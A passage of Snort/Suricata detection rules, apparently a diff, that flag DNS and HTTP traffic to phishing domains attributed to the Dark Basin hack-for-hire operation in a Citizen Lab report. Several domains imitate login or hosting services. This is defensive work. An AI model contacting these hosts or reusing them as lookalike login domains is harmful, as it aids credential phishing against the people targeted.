any any -> any 53 (msg: "Dark Basin Domain: corn-fr-fr.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0a|corn-fr-fr|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1353771; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: corn-fr-fr.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0a|corn-fr-fr|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1353772; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: corn-fr-fr.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"corn-fr-fr.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])corn\-fr\-fr\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1353773; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: corn-lang-eng.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0d|corn-lang-eng|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1353721; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: corn-lang-eng.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0d|corn-lang-eng|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1353722; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: corn-lang-eng.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"corn-lang-eng.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])corn\-lang\-eng\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1353723; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: corn-loginservicesverified.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|1a|corn-loginservicesverified|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1353731; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: corn-loginservicesverified.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|1a|corn-loginservicesverified|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1353732; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: corn-loginservicesverified.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"corn-loginservicesverified.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])corn\-loginservicesverified\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1353733; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: corn-msrvrgr.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0c|corn-msrvrgr|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1353741; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: corn-msrvrgr.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0c|corn-msrvrgr|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1353742; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: corn-msrvrgr.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"corn-msrvrgr.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])corn\-msrvrgr\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1353743; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: corn-servicelogin.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|11|corn-servicelogin|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1353751; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: corn-servicelogin.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|11|corn-servicelogin|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1353752; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: corn-servicelogin.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"corn-servicelogin.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])corn\-servicelogin\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1353753; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: corn-ukr.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|08|corn-ukr|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1353761; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: corn-ukr.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|08|corn-ukr|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1353762; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: corn-ukr.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"corn-ukr.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])corn\-ukr\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1353763; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: csrvrer.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|07|csrvrer|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1357321; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: csrvrer.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|07|csrvrer|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1357322; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: csrvrer.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"csrvrer.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])csrvrer\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1357323; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: cyberanalyticals.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|10|cyberanalyticals|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1353601; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: cyberanalyticals.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|10|cyberanalyticals|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1353602; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: cyberanalyticals.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"cyberanalyticals.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])cyberanalyticals\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1353603; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: cyberserverusa.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0e|cyberserverusa|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1357151; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: cyberserverusa.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0e|cyberserverusa|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1357152; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: cyberserverusa.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"cyberserverusa.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])cyberserverusa\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1357153; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: deferrer.website"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|08|deferrer|07|website|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1357561; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: deferrer.website"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|08|deferrer|07|website|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1357562; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: deferrer.website"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"deferrer.website"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])deferrer\.website[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1357563; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: demoprojectsuk.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0e|demoprojectsuk|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1356001; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: demoprojectsuk.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0e|demoprojectsuk|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1356002; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: demoprojectsuk.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"demoprojectsuk.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])demoprojectsuk\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1356003; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: dnsserverprv.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0c|dnsserverprv|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1357001; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: dnsserverprv.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0c|dnsserverprv|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1357002; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: dnsserverprv.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"dnsserverprv.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])dnsserverprv\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1357003; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: domainblacklistcheck.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|14|domainblacklistcheck|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1354901; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: domainblacklistcheck.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|14|domainblacklistcheck|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1354902; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: domainblacklistcheck.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"domainblacklistcheck.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])domainblacklistcheck\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1354903; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: domainemailhostings.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|13|domainemailhostings|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1354611; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: domainemailhostings.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|13|domainemailhostings|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1354612; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: domainemailhostings.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"domainemailhostings.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])domainemailhostings\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1354613; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: domainexpertswebuk.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|12|domainexpertswebuk|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1355871; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: domainexpertswebuk.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|12|domainexpertswebuk|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1355872; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: domainexpertswebuk.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"domainexpertswebuk.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])domainexpertswebuk\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1355873; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: domainforhostuk.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0f|domainforhostuk|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1356161; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: domainforhostuk.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0f|domainforhostuk|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1356162; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: domainforhostuk.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"domainforhostuk.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])domainforhostuk\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1356163; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: domainformailinguk.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|12|domainformailinguk|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1355501; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: domainformailinguk.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|12|domainformailinguk|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1355502; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: domainformailinguk.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"domainformailinguk.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])domainformailinguk\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1355503; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: domainhostnetworkuk.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|13|domainhostnetworkuk|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1355591; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: domainhostnetworkuk.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|13|domainhostnetworkuk|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1355592; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: domainhostnetworkuk.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"domainhostnetworkuk.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])domainhostnetworkuk\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1355593; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: domainhostnetworkusa.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|14|domainhostnetworkusa|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1355601; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: domainhostnetworkusa.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|14|domainhostnetworkusa|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1355602; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: domainhostnetworkusa.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"domainhostnetworkusa.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])domainhostnetworkusa\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1355603; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: domainhostworkeu.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|10|domainhostworkeu|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1355611; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: domainhostworkeu.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|10|domainhostworkeu|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1355612; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: domainhostworkeu.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"domainhostworkeu.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])domainhostworkeu\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1355613; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: domainlocalhostingeu.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|14|domainlocalhostingeu|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1355621; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: domainlocalhostingeu.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|14|domainlocalhostingeu|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1355622; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: domainlocalhostingeu.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"domainlocalhostingeu.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])domainlocalhostingeu\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1355623; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: domainlocalhostinghk.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|14|domainlocalhostinghk|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1355631; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: domainlocalhostinghk.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|14|domainlocalhostinghk|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1355632; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: domainlocalhostinghk.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"domainlocalhostinghk.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])domainlocalhostinghk\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1355633; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: domainlocalhostinguk.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|14|domainlocalhostinguk|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1355641; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: domainlocalhostinguk.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|14|domainlocalhostinguk|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1355642; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: domainlocalhostinguk.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"domainlocalhostinguk.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])domainlocalhostinguk\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1355643; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: domainmanager33.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; 